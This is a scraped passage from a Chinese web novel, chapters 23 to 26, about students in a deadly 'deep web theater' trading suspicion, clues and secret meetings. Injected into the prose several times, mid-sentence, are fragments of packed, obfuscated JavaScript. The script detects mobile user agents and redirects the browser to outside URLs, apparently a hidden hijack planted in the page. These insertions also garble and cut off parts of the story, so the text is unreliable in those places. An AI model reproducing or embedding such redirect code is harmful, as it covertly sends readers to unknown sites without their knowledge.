RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504962|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快变成平常的样子,她对他笑笑,有点抱歉和羞怯。 接下来就是很正常的用餐过程。他们随意闲谈,话题都和外面的世界有关。苏彦说起自己曾组过乐队,他们便根据这个话题发散开了,纷纷说起自己相关的社团经历和喜欢的歌手。 “说到这个,我喜欢Epi,你们听说过他吗?应该知道?”苏彦说。他看看同桌的几个人,基本都点了头。 也是,这样红遍大街小巷流行歌手,就算不喜欢,没听说过感觉也很难。有段时间他经过市区,每每抬头,至少有一个大屏幕在放他代言的广告或者MV。 乔木说:“我还以为做独立乐队的都不会喜欢他。” “诶,为啥?”苏彦不解。乔木一边夹起几根白萝卜,一边说:“听我朋友讲的。觉得他营销太多、歌曲太商业化、只会贴合流行。” “这样啊。”苏彦笑笑,也没有喜欢歌手被诋毁的不高兴,“可能有些歌是没那么好,不过他的‘致玛格丽特’,我到今天听都会觉得很感动。” “那首据说是写给他妹妹的歌?”洛珠说。 苏彦说:“对。那首歌他每次live唱,都能听出真的投注了很多感情。” “他应该是真的很爱他妹妹吧。”曲语冰随意说。 当初他是为什么喜欢上这首歌的?不,应该是,当初他是为什么觉得这首歌对他很特别的? 他居然想不起来了。 人的记忆还真是不可靠啊。他心里感慨,舒觉忽然说:“我也很喜欢那首歌。” “可能是因为有兄弟姐妹吧。”她微微一笑,苏彦不由想起上次她说自己“没有母亲”。 但是有很多兄弟姐妹?她会不会是……孤儿院长大的? 但问这个太不礼貌了,他们关系还没好到这个地步。不如说,这种话题,除非本人主动叙说,什么样的关系去问都不合适。 抛开这个想法,苏彦尽量自然地接话:“是啊,尤其是副歌那部分——” 他起调哼了两句,问:“是这样吗?” 他看向舒觉。短暂的三秒沉默,曲语冰轻敲桌子打节拍,接在他那句后面唱完了副歌。 他笑意盈盈:“应该是这样吧。” 不知为何,乔木好像刚刚一直在看这边。此刻他才掉转开视线,喝自己碗里的汤。“差不多吧。” 舒觉眼珠转了下,很客气地夸赞他们:“很专业的感觉。” 苏彦确实专门学过声乐,不过曲语冰看起来不像会涉猎这方面的人。他以笑容作为回应,起身要舀汤。 ——就在这个时候,那令人憎恶的声音响起。 穷奇没有出现,但她的通知响彻整间屋子:“从明日演绎开始,新增一条规则。 “演绎将提前五分钟进行通知,并发放剧本。进入舞台的时间不变,请演员们利用这宝贵的五分钟更进一步研读剧本,与同场演员进行沟通,尽心竭力呈现出更完美的表演。” “以上。”穷奇的声音顿了一下,原本平静的语气带上几分不怀好意,“提出规则者,1号演员苏彦。” 唰一下,所有人视线都集中在被提名的人身上。苏彦握着锅勺的手都不知所措了,他看看他们,又看看汤,最后选择了先把汤舀完。 他端着满满一碗汤坐下,才说:“呃……虽然是我提的,但我只是问穷奇说‘有没有那种可以让我们在演绎的时候帮个忙的规则’,也不知道她会弄了这么复杂的东西出来。” “你是怎么做到的?”曲语冰用一种全新的眼光打量他。苏彦很不自在,但还是回答:“用点数换的。” 他说:“我刚刚演完一整部剧,不是得到了很多点数吗,就想着有没有可能让我们演戏都轻松点,就去问了。” “总之,从结果上来看,这条规则应该是有利于我们的。”舒觉简单总结,“不仅可以在某个人碰到棘手剧情的时候帮忙,还可以在自己的剧目之外拿到更多点数。而且,这条规则完全由演员自己主导,排除了剧团方插手干扰的可能。” 说完,她拿出一个东西,放在桌上。苏彦目光被吸引过去,他还没来得及问,舒觉首先开口了。 她说:“这个,是你的吗?” 23. 第 23 章 苏彦从低空列车上下来,戴着卫衣帽子,汇入人流。经过市中心最繁忙的八向路口时,他抬头,看见知名歌手Epi的MV在商场大屏幕上播放,容貌清爽的青年站在纯白花海中间,转头向他微笑。 苏彦移开视线。他拉低帽子,自从在这里巧遇过同学后,他来这边都会伪装一二。这并不是什么丢人的事,只是,他厌倦了编造借口或者解释。 目的地已在眼前。“冀湖市第三人民医院”的招牌在阳光下反射,苏彦走进去,不需要预约,他摁下电梯按键,来到五十八层。 这里的私人养护病房配有全套智能家居,能够24小时候检测病人状况,提供最合适的看护。此间要价不菲,如果不是苏彦有个企业高管的父亲,根本负担不起。 病床上坐着一个女人。她醒着,见到苏彦进来,面上便有笑漾开。她招呼他,“成成,你来啦。” “来,坐这边。”她指示他,苏彦在床边的陪护椅坐下,他没指出任何异样,只是说:“妈。” “你想吃什么水果?”他一边说,一边在床头柜的果盘翻找。女人高兴地看着他,说:“妈不饿。成成挑自己想吃的吧。” “那就这个橙子吧。”苏彦挑了个饱满橙红的,他不敢用刀,这件病房里也不会有刀,就用指甲慢慢撕着。女人盯了一会儿,就要伸手去抢,“哎呀,你不会的,我来吧。” 苏彦巧妙地避开了贴着针头的手,“偶尔也让我孝敬孝敬您嘛。” “你这孩子。”女人亲昵地点了下他额头。苏彦把橙子剥成一瓣一瓣,女人一边看着一边说:“对了,最近在学校过得怎么样?” “挺好的。”苏彦拿了个软纸碟子,放了几瓣橙子递过去,“妈试一下。” 女人尝了一口,眉开眼笑,“真不错!成成也吃啊。” 苏彦推不过,放了一瓣到嘴里慢慢嚼着。趁着女人不注意,他把另几瓣橙肉放到床头柜上,离自己远点。 “对了,你和男朋友谈得怎么样?他大四对吧,要毕业找工作还是继续往下读?”女人问。 苏彦压住嘴角的苦笑,尽量装出轻松的样子回答:“还不知道呢。” 他们又漫无边际聊了会,基本都是女人在问苏彦生活如何,吃饱穿暖没有,冀湖市最近降温了,他要把厚被子拿出来。苏彦每句都认真应下。 “对了,和彦彦也说下,他也该考虑之后要怎么走了。”女人话题一转,数落起来,“玩乐队可以,但大四了还是得考虑前途吧?多少收收心。” 彦彦就坐在她面前。可她已经认不出来了。他也不知道她什么时候才能认出来。或者是,未来还有没有那一天能认得出来。 苏彦摁下眼眶后的泪水。他说:“好,我和他说。” “毕竟是你弟弟,又读了一个大学,还是要多联络联络啊。”女人叮嘱着。 又谈了一会儿,苏彦终于拿出一张卡片,请女人写下他的名字。 他的母亲取笑他:“你都二十几岁了,还记不得自己名字怎么写吗?” “妈妈写的还是不一样的嘛。”苏彦触碰他母亲的胳膊,因为一段时间都在病房里,明显变白了些。 她身上的味道也变了。以前他很喜欢根据妈妈身上的味道猜测今晚吃什么菜,现在却只是消毒水空白的气味。 他母亲利落地将名字写好,递给他。今天妈妈的状态还不错,苏彦松了口气,接过来,和母亲道别。 等电梯的时候,他看了看那张卡片。原来不是这个“成”,他心不在焉地想。 电梯门开了。他走进去,指间的卡片在炽白顶灯照射下,黑色笔迹清晰可见。 “苏澄”。 ****** 苏彦慢慢伸手,指尖触过那个微粒CD。他神色一瞬恍惚,舒觉眼睛一眨不眨盯着他。 他摸了摸微粒上的浮刻编码,便确定地说:“这是我的。” 梦游者品牌,H2日曜系列出品。冀湖大学城里那家刻CD店的老板听了他们的demo后推荐的。 他又补充道:“这是我们乐队的第一张CD,这张是demo版,没发行过,是我私藏的。” 苏彦已经意识到了。他看着桌边的一张张脸,沉默片刻,轻声说:“这是线索,对吗?” 洛珠避开了他的视线。曲语冰眼睛半抬不抬,在睫毛的掩饰下望他。乔木平静地与他对视,没有愧疚,也没有不安。 舒觉干脆地回答他:“对。” 她又说:“不过现在看来,这条线索出现和没出现没多大区别。” 苏彦愣了下,还没想明白她什么意思。舒觉放下筷子,说:“你刚刚才花点数换了个对全体演员有利的规则出来,立马就怀疑你也太反人性了。” 所以,他还被自己的无心之举救了?这也太凑巧了吧。 而且,线索指向太明显了:任何人只要播放这张CD,就立刻能听出是他唱的歌。他们甚至都不需要找他确认。 “……所以,刚刚算一个测试?”苏彦终于回过味来。舒觉说:“对。不过本来我们就不怎么怀疑你。” “要是幕后凶手是你这样的,我们早就能出去了。”乔木辛辣地发言,苏彦松了口气,不由抱怨:“早说啊!我还以为你们要孤立我了。” “怎么会呢。等出去了我们还要仰仗学长帮忙呢,大创带我一个吧学长?”曲语冰打蛇随棍上,苏彦瞥他一眼,开玩笑说:“不好意思,我们暂时不需要法律顾问。” 僵硬的气氛再度流动起来。几个人都跟没事一样继续吃饭谈笑,直到祝时明气喘吁吁走进来,脸色白得活像被一群猎豹追赶过。 他有气无力地坐到一把空椅子上,正巧在舒觉和曲语冰之间。苏彦一时怀疑:这不会是专门留给他的吧?毕竟他对舒觉的好感昭然若揭,在几个男生之间都算不得什么秘密了。 随便吧,宁拆十座庙不毁一桩婚,他非常乐意促成这一对小情侣。当然,得是舒觉也愿意才行,作为他的同系学妹,苏彦肯定得护着她点。 况且这世道,谈恋爱总是女孩子容易吃亏。他又想起秦白菁,他的前女友。当时他出现了抑郁倾向,整个人浑浑噩噩,都不知道那段日子是怎么过来的,但他隐约还记得秦白菁对他的照料,忍受了他所有的负面情绪,直到他们彼此都无法再接受这样的关系为止。 他欠她太多。连分手都需要对方先提出,可见自己有多懦弱。 甩了甩头,苏彦抛开这些过去的想法。他现在已经恢复了,未来也已经稳定,只要他可以在这个深网剧场里完成任务,实现自己的愿望—— 对面的笑声打断了他的思绪。苏彦抬头,看见曲语冰笑得很不厚道,“真假的?你真的就被一群丧尸追了一个小时?” “我感觉像全力狂奔了一整天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在这时,他的手环叮咚响了。那是特别提示音,是他敲装了三分之一瓶水的宝特瓶时录下的效果音。他喜欢那种清亮但不过分脆利的声音,在几首歌里他加入了这些音效。 他划开光幕,消息弹出,却并未显示发送人——这就不是他设置的了。 这条送信不详的消息写着:“出来一趟。商店街古玩店后面的巷子。” 写得简短。苏彦没有丝毫耽搁,他快速换上一套新衣服,接着,他打开窗子,左右看看,确定其他窗户不是无光便是拉上窗帘后,他纵身一跃,在半空中划出一道流畅弧线,轻盈落到地面上,只发出了轻微的草叶践踏声。 他滚了一圈,起身后,再度观察四周,确认没人半夜出门,快步向商店街走去。 巷子窄而深,被附近店面延伸的房檐遮挡,难有光芒透入。苏彦进入的瞬间,什么也看不见。 但他能感觉到,他的对面有人。苏彦心中并无恐惧,但有些困惑。 他正打算出声,前头猛然一道光照过来。他下意思抬起手臂捂住眼睛,“唔!” 光变弱了。苏彦放下手臂,引他前来的人环抱双臂,手环自带手电筒打向地上,反射起来的光线照到他们脸上。 苏彦略微鞠躬,向她致意。 他叫对方:“姜队。” 24. 第 24 章 我找到了四十年前那个项目的资料。 居然被他专门藏到了这么深的地方——不,这么说也不准确,只是那个地方确实不容易找到。不是按照索书号顺序排的。他专门给这架子编了个号。 这要不是在图书馆干过活,谁能找得到啊。 但他收集得这么全,还是很让人吃惊。甚至还有当时所有的监控影像,声音也都听得见。原本那么久的东西,应该全部消失了才对。 它们的确消失了。至少在外面,我相信是找不到一点踪迹的。 这些天我一边读那些资料,一边跳着看那些影像。人工智能方面的专业术语我读不懂,只能慢慢查,幸好医学方面还不是特别复杂,但有些词现在也不用了,我还是得查。 那些监控就权当放松了。不过,没意义的地方很多,重复看同一群人吃饭睡觉做实验很快就变得很无聊。我只挑他出现的地方看。 有种微妙的感觉。我这算不算偷窥别人隐私啊?不过里面所有人都过世了,他也不介意我看这些,应该没关系吧。 不过,当初那场事故,我暂时还没搞清楚是怎么回事。从最后戛然而止的地方来看,是意外;但我总感觉这样的事不可能是意外。我不是阴谋论者,也觉得有股不自然的味道。 还有,事故后发生了什么?为什么国家没有派人来查看过?还是有人来了,那为什么没有上报?他找到了什么?他们是不是做了什么交易? 这个剧场,到底是从什么时候开始的? ***** 姜满说:“你速度挺快。” 苏彦站正,“是,我翻窗出来的,没让别人瞧见。” 姜满点点头。她操作着手环,光线柔和地弥散在这方空间,如同星群。她说:“今天他们找到了指向你的线索,是吗?” “对。”苏彦踌躇了一下,还是说,“但他们表示不怎么怀疑我。” “那是当然的。”姜满说,“你刚刚才启动了一条有利于演员方的规则,在这个关节点直接说怀疑你,反而会显得自己可疑。” 顿了一下,她挑起眉毛,“你是怎么想的?为什么要开这样一条规则?那点数消耗不小吧。” 苏彦不太清楚她问话的目的,只得老实说:“我希望能尽量避免邹玉衡那种情况再出现。如果其他人能入场帮忙的话,说不定有些惩罚可以被避免。” “那如果下次是你被惩罚呢?你现在的点数应该不足以支付被惩罚的代价吧。”姜满说。 惩罚除了剥夺身体某个部分的机能外,还会扣除一大笔点数,如果此时点数清零,演员会被判定退场。也就是说,死亡。 苏彦回答:“我没想那么多。目前我参演的剧目不涉及我能力之外的情节,在那种情况发生前,我应该能攒够点数。” 他笑了一下,“再说,其他人应该也会帮我的吧——” “你别忘了,在我们之外,还藏着一个编剧。”姜满声音冷淡,她直盯苏彦双目,“你打入了他们那个小团体,挺好;但别放下警惕。我们怎么知道他们中间没有罪犯?” 苏彦下意识想反驳,但还是住嘴了。在他看来,他们都是比他小的学弟学妹,不可能和“编剧”这样罪大恶极的存在有关联。 ——但他也不能否认,在最终指认成功之前,谁都有可能是幕后凶手。 “你也别什么都相信。”姜满看他神色,已经猜出他态度,“每个人都可能撒谎,我们也必须撒谎。越早暴露底牌,对我们越不利。” 谎言。这个词语像一支飞矢击中他大脑,苏彦情不自禁说:“应医生——” 他开口才发觉,迟了,姜满原本看着檐角,闻言立时转头,“应如观?” 苏彦咬住臼齿,心中后悔。见他迟迟不开口,姜满催促他:“说啊。他怎么?” 苏彦不得不将后半截话讲完:“他说谎了,不是吗?” 姜满不作声,她在等他后文。苏彦说:“第二条线索,那个警徽,不是他的。不是吗?” “你的证据是什么?” “那是冀湖市警局的警徽。清源市的警徽我不太记得什么样,但本市的,我记得很清楚。它们不可能是一样的。” 语毕,苏彦忐忑地看姜满反应。只见女人缓缓点头,说:“不错。那不是他的。” “那您为什么——” “那与你无关。” 被拒绝了。苏彦没有感到疑问解开的松快,反而疑窦越发增生:如果的确不是他的,他为什么会愿意说这个谎? 这件事对他没有丝毫好处。姜满和他做了什么交易?他为什么会听从她的指示?投资方的名额不止他们两个吗? 但剧场应该是不会说谎的。 越想越乱了,苏彦甩甩头,姜满见苏彦神色受伤,她放缓语气:“你只需要听我的指令行事就行,不用管别人。进来之前我已经和你讲得很清楚:该告诉你的我都会告诉你,剩下的你不需要知道。” “我们正在一个根本没法解释的世界里。你也听到应如观当时怎么说了,这个剧场里太多东西都不是现有科学能做到的。 “况且,敌人在暗,我们在明。很多事情知道的人越少越好,甚至最好不要谈到,我们没办法预料到敌人会有什么样的窃听方式。”她说,循循善诱如同导师。 僵持半晌,苏彦叹了口气,“抱歉,队长,我不是想要质疑你。” 姜满点点头,“你能接受就好。” 她走上前,抚摸苏彦肩头,“我不会背叛你的,我可以保证。” 苏彦有点不自在地撇开头。姜满唇角勾了一下,她退后,说:“好了,说说你搜集到的情报吧。” “哦、噢!好。”苏彦快速整理思绪,“我们注意到图书馆所有的资料都截止到四十年前某个日期为止,所以舒觉推测,这个剧场和四十年前的‘某件事’有关系。” “而且这件事一定是大事,在某个特定领域里。否则,不会诞生出这样的组织。”他说,“我们分工合作,我查计算机领域,乔木是医学,曲语冰查法律,舒觉查艺术,祝时明查地理。” “为什么不是祝时明查医学?他不是读医科的?”姜满提出疑问。 “不知道。我是后面加入的,他们在这之前已经初步分工好了。”苏彦回答。 停顿片刻,他有些赧然地承认:“不过,这也只是一个猜测的方向,不一定准确。” “这挺好的。毕竟我们现在也对这个剧场几乎是一无所知,如果能探明它的源头,解决掉它会更容易。”姜满肯定了他们的行动,“反正我们除了演戏之外无事可做,不如找找资料,说不定会有线索,总比坐以待毙好。” “那姜队呢?”苏彦期待地问。姜满脸色不变,若无其事回答:“我在等。” 苏彦用眼神缓缓打出一个问号。姜满说:“我毕竟是走投资方路子进来的,外面总能有点人。” 这意思是她有能和外界取得联络的手段?苏彦难言兴奋:“那您得到了什么线索吗?” “遗憾,暂时还没联系上。”姜满耸了耸肩,“不过,再过一段时间应该就可以了。” “那就这样分工吧。”她说,“你继续搜查资料,和舒觉那帮人打好关系,尽量多探探他们口风,看有没有人露出马脚;我关注指向编剧的线索,尽快和外面取得联系。” 对于这样的安排,苏彦没有不满。不如说,他挺需要一个人来给他指导方向。 试想,如果他是孤身一人被抓进这个剧场里来,恐怕会相当惶恐迷茫吧。幸好,在吃饭组合中他不必是那个出主意的人;在这条巷子里他也有指挥自己的上司。 这是否算一种逃避,他尚不清楚。 “对了,那个舒觉,”姜满忽然提起一个他没料到的名字,“你多注意下她。” “好……为什么?” 话音一落,苏彦立刻察觉到姜满看他的眼神变了,如同在看初入职场的小白兔。“当然是因为她是最可疑的。一般大学生进到这种鬼地方来,反应和洛珠差不多才比较合理。” “也不是说女生一定胆小,但她太冷静了。刚刚你也说了,她是你们的主导人,你不觉得很奇怪吗?她不是年龄最大的,目前没表现出远超他人的能力,也没有领导他人的气质,但所有人都听她的。” 她应该重点指的是那几个男生。洛珠是比较容易听别人的话行事的类型,但曲语冰和乔木一见便知,他们都是个人风格和自我意志极其强烈的人,也就是说,他们往往不会轻易听从于某个人。 而祝时明……他还不太了解他,只觉得他实在性格好得可以,如烧至70°的水,稳定地冒泡但离沸腾远有一段距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“而根据这个名头出发,结合我们当下的处境,最可能的就是他负责掌控剧本,决定我们演绎的剧目内容。”她分析着,苏彦听得一愣一愣,不过他还是跟上了,“那么,应该还有其他剧团的职位存在?比如幕后,负责解答我们的疑问,保证我们的衣食住行。” “我是这样认为。你觉得,这个职位应该是做什么的?” 苏彦思考起来。演绎规则、演绎本身、演绎之外—— 你是因为什么才选择进到这个剧场里来? 他抬起头,目光澄净,如同流星划过的苍蓝轨迹,“奖励。那个位置,是来满足我们许下的愿望。” 这是这个剧场的根本逻辑。演员们通过演绎获得点数,利用它来兑换生存物资,但实际上点数是远远富于这项兑换的。 而剩下的点数,除了成为最终他们得以逃离这里的钥匙,更重要的是—— 他们可以许愿。 网络上不是这么流传的吗?“只要进到这个深网剧场里,演戏去赚点数,就可以实现自己的心愿哦。” 邀请函如是写下:“……在点数达到一定阶段时,您有向剧团长许愿的权力。不论是什么愿望,不论它是否符合道德与法律,剧团长都会应允。” “剧团长。”苏彦轻声说。他不敢放大音量,尽管他清越嘹亮的歌喉曾赢得浪潮般的掌声。 姜满默默点头。他们对视,心知这个尚未出现的角色绝不可能只是为实现他们愿望而存在。 这算可以还是不可以。苏彦懵了一下,但姜满已经不打算再回答了,她说:“我先走,你等十分钟再离开。” “好的。”苏彦答道。 在姜满迈步离开前,苏彦还是没忍住,试探地问出这个问题:“对了,我可以相信应医生吗?” 他实在是猜不准姜满对应如观的态度。那么,还是问清楚比较好。 出人意表,姜满对这个问题沉思了片刻。苏彦逐渐感到不安,直到他难耐地挪动脚尖,对方才仿佛从思考中惊醒一般,回答他:“最好不要。” 说完,她便消失在小巷的深处。苏彦等足十分钟,才小心地从巷口退出来,以不算轻松的步子,回到他的房间。 直到熄了灯,躺到床上,苏彦才忽然想起来:如果他的猜测是正确的,如果应如观的确不是第二条线索的指向对象—— 他遽然睁开双眼,一瞬,满背冷汗。 25. 第 25 章 洛珠敲敲门,喊了声“报告”,才小心翼翼走进去。 靠门第一个工位,她的班主任常鹃看到她,招呼道:“洛珠啊,过来吧。” “常老师。”洛珠依言过去,乖乖站到女人椅边,“老师找我吗?” “对。”常鹃把眼镜摘下,转了下椅子,她在桌面的投影键盘上点了几下,一个光幕在两人中间展开,洛珠微微后仰,才看清那上面是她学科分类意向填报表。 “老师,这个表有什么问题吗?”洛珠感到自己的舌头有些不听使唤,她努力放松面部肌肉,生怕一个不小心咬到口腔。 常鹃瞟她一眼,说:“你要选理科?” 洛珠点点头。她的班主任叹口气,说:“我劝你还是学人文类比较好。” 为什么?洛珠不需要问,她的老师已经自顾自解释起来:“虽然你的理工类几门成绩都不差,但和年级里其他男生比起来还不够好。而且,女孩子学到越后面就越吃力的,基本到高三,你去看看,理工类那边前面有几个女生?” “你人文类几个科目都学得不错啊,如果选文,你就只用操心数学了。我觉得你还是再想想选哪个比较好。”常鹃说,“你的几个好朋友也都打算选人文类,你们成绩差不多,应该能分到一个班,你也比较好适应。” 又絮絮叨叨说了一些,无非就是觉得她选文比选理要更好,洛珠一言不发,全都默默听下去。常鹃终于停下来,问她:“你觉得怎样?” 洛珠咬住下嘴唇。她不敢看面前的老师,小小声说:“……嗯,谢谢老师,我再想想。” 她的老师当然是为她好,说的也没错,她的两大类都比较均衡,正因如此,反而难以抉择方向。 可她自己是一心想要走理工类的。她想要学习这个星球之外的世界。她想要触碰到大气层外无声的黑暗。用一句最简单直白的话概括,就是她小时候和大人说过的。 “我想要造一艘大大的飞船,飞到地球外面去!” 她不明白,为什么好像每个人都在阻止她。这甚至算不上在实现她的梦想,只是前往实现梦想的门扉的阶梯。 但就是这阶梯,也难以搭建。她的母亲,一位生物工程学家,也不赞同她走理工类的考试分流。“我知道你想学航空航天相关,但是女孩子学这个不会太辛苦吗?你要和很多男生竞争,不一定能成功。” 而她是怎么说的呢?“可是,我想做这个。” 她下定决心。洛珠张口:“老师,我还是想选理工类。” 话音未落,她低叫一声。牙齿终于还是不听指令,一下咬到她口腔一侧的软肉上。那里大概要溃疡了。 往后两年,洛珠顺利从冀湖市三中理工类毕业,考入冀湖大学航空航天系。她那一届理工类的第一名,是她的好朋友,一个和她性别相同的女性。 ***** 舒觉坐在她改装后的桌前,面对七八个运作的光屏,她眼珠微微颤动,极小幅度地飞速转向,同时观看着所有屏幕上的内容。那是这一周他们生活的这个封闭世界里,所有摄像头的纪录,正在用十六倍速播放着。 如果不是她有超忆症,有经历过专门训练,是根本不可能这么干的。唯有这样的时候,她会稍微——稍微感谢一下从前生活教会她的东西。但人要是感激苦难就太傻了,她不会认为曾经比现在更好。 目前为止,所有人的行动轨迹都很正常。不如说,大部分她都在看监控之前已经知悉:同住在一个屋檐下,活动范围又大不过一个大学校区,不管做什么,其实都很难瞒得过别人。 她看着祝时明和曲语冰在公园小径上你追我赶,曲语冰笑得十分猖狂,祝时明比起生气看上去更像是恼羞成怒,两个人的步子在阳光与影子间跳动。 她看着苏彦一个人绕着公园和商店街慢跑,他有时会看看天边,仿佛期望找到一朵特殊的云。 她看着应如观在傍晚散步,偶然碰上晚归的洛珠,两人气氛和睦地打招呼。 她看着双胞胎在房屋后院慢慢行走,姐姐扶着弟弟,帮他适应腿上新装的辅助支架,邹摇光面色有愧,邹玉衡毫无怨容。 她看着自己在不同的时间、不同的地点、不同的光屏上出现、闪过、微笑、面无表情。从第三者角度看到自己,感觉有些怪异,但她很快将这种想法抛之脑后。又不是第一次了。 乔木很少出门,这她是知道的,不管是事情本身还是原因。但姜满也很少在摄像头里出现,她难道是个宅女?看着不像啊。她还以为她是和苏彦一样的户外型人。 她还想不明白这其中的缘由,就有一个镜头抓住了她的眼睛:某天夜里,苏彦出现在了去往商店街的路上。 摄像头忠实地记录下他的一举一动。那个时候的苏彦和往常,他的步伐和身态都更谨慎而干练,看上去像受过训练。舒觉熟悉这种姿态。她一般不太喜欢、也不太信任有这种姿态的人。 她皱皱眉头,停下其他光屏,将那段倒带。 确实是苏彦没错。从这个来到道路上的方向来看,他还不是从房屋正门口出来的。这实在是让人疑心大起,舒觉细细查看起这段时间的录像。 录像显示,苏彦大半夜进了商店街,而且是进了那条没有监控的暗巷。半个小时左右他又出来,那张年轻天真的面孔上多了些沉重,像为什么所困扰。 他不可能是一个人在那种地方思考人生,那么,有另一个人在那里和他会了面,并且做了什么。舒觉猜测是交换情报,或者下达命令。 苏彦有和其他人结盟,这她并不意外。在拉他加入他们这个团体的同时,她也在观察他。问题是,这个人是谁? 她的大脑立刻给了她一个答案。但她没有任何证据。没有监控拍到另一个人的身影,对方显然有很高超的反监视手段,远不是苏彦这种初出茅庐的新人可比的。 果然是警察进来了吗。舒觉思忖着,这也不意外,毕竟那个人委托了她,就说明政府已经注意到了深网剧场的存在,尤其是它的危害。那么,再有警察参与也不稀奇。 不过,他们是怎么确保自己被选中的?是用和自己一样的方式,还是,他们和剧场本身有更深的联系? 不过,她和幕后确认过了,她并不是“投资方”。尽管她的确找过这条渠道,但最后她被选中、进入这轮演绎,并不是因为这个。 那么,“投资方”就另有其人。按照本轮这样的大人数来看,恐怕还不止一个。真叫人头痛。搞破坏的家伙一个也嫌多。 她又想起那个警徽。她现在越来越怀疑那不是应如观的东西了。比起那两位来,应如观实在显得太无辜了。 在他们之中,究竟有没有人真的只是被随机选中的不幸者? 她现在是越发怀疑这一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542991|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 脚底芯片传来震动,这意味着有人靠近了她的门口。她中断思绪,舒觉在桌面投影键盘摁了一下,全部光屏熄灭,翻转,与背后墙壁变成同色同质,融成一体。她轻巧地从椅子上翻下来,赤脚走到门口,脚步如同夜猫般轻灵。 她凑到门上猫眼,看见一个女孩站在门外,神色不安,略带紧张。 舒觉只思考了两秒,便摁下门把开了门。她打开道缝隙,只容半个人或者一个头通过,“有什么事吗?” 洛珠原本低头盯地板,听到响动才抬起脸来,见到她面孔的瞬间,她眼睛亮起惊喜的光彩,“啊,太好了,你还没睡!” 舒觉暂且不对这回答做出反应。洛珠有些不好意思地继续说:“很不好意思这么晚了还来打扰你……但是、可不可以、嗯、和我聊一下天?就、就一下下!不会耽误你睡觉的。” 舒觉沉默了片刻。在洛珠逐渐把头埋下去,只露出发顶时,她侧身让开,把门开得更大一些。“进来吧。” 洛珠难掩雀跃地走入,小心把门关好,几乎没发出什么噪音。舒觉登时好感度提升一点,再开口和颜悦色半分,“没椅子了,你坐床上就行。” “诶!不会搞脏吗?” “你不是洗过澡才过来的吗。”舒觉不太介意这个,她坐到刚刚看监控的椅子上,脚一蹬,转了半圈,和洛珠面对面,“好了,你想和我说什么?” 她问得直白,反而让洛珠不大好意思了,她垂目安静了半晌,舒觉也不催她。既然决定了让对方进来,她已经做好了耗费半个夜晚陪她谈心的准备。 这个举动倒是让本就不可疑的她变得更不可疑了。要是“编剧”这样藏在人堆里的角色,是不可能忽然半夜来敲门和其他人谈心的,这只会增加自己暴露的风险。 而且,也没必要选择她入手。舒觉相信在多日相处下,大家都应该能感觉到她是很难搞的人。这个难搞的意思既是指她不容易相信他人,也是指她很少向他人敞开心扉。 所以,洛珠为什么在这么多人中选择了找她来倾诉,舒觉也感到很是有趣。在对方斟酌开口的同时,她快速思考了几个理由:1、她们都是女生;2、她们年龄相近;3、可能她有点害怕姜满,交流也比较少。 不过,要是提前让她知道洛珠找人倾诉,她第一反应会是找了曲语冰。毕竟当时他俩那个拥抱大家都看在眼里,舒觉不会拿这个取笑他们,但也觉得挺不可思议,还不明白为什么曲语冰要这么做。 那家伙该不会是见色起意了吧。但是,看他完全不在乎别人长了什么脸的样子啊。 越想越疑惑,察觉到洛珠在偷偷观察她神色,舒觉才意识到自己皱起了眉头。她放松面部,主动起身去倒了一杯温开水,递给床上的女孩,“不好意思,我这边也没什么饮料,你将就喝一下吧。” “不不不、不会!”洛珠赶紧接过,“谢谢你啊。” 她抿了一口。接着张开嘴唇,喝下小半杯。舒觉盘腿坐到转椅上,反正她穿着睡裤,不担心走光。 最后,洛珠慢慢开口了:“那个,我在想,你是怎么做到的呢?” 嗯?这走向和她想的有点不一样。舒觉装作毫无波动的样子,问:“是指什么?” 洛珠凝视她,那双圆圆的眼睛在灯光下,如同深林的泉眼,“你是怎么做到,能演戏演得这么好的呢?” 26. 第 26 章 洛珠在卧室里翻找着。隔了片刻,她对门外喊道:“妈妈,你有看到我的入学通知书放到哪里吗?” 虽说是喊,声音也并不大。过了会儿,外头传来另一个女声:“我记得放在床下面的柜子。你找一下看看?” 洛珠连忙跪坐下来,拉开床底抽屉。她打开一份份文件袋,搜寻半天,总算找到了那封红皮精装的冀湖大学航天航空系的录取通知书。她望着上面的金色大字,不自觉地露出微笑。 她正要把文件袋收好放回去,便发现下面好像还有什么东西。她掏了一掏,摸到坚硬的外壳,拿出来看,原来是本相册。 现在这个时代,还有这样厚厚一本由冲洗出来的实体照片组成的相册,也算很罕见了。洛珠摸到上面并没多少灰尘,本来应该在这里埋藏很久,应显陈旧才是。 “找到了吗?”她母亲走进来。高级生物工程师郑悦安在她的女儿一侧弯腰,注意到她拿出的那本相册。 “嗯。妈妈,这个是什么?”洛珠向她展示那本相册。 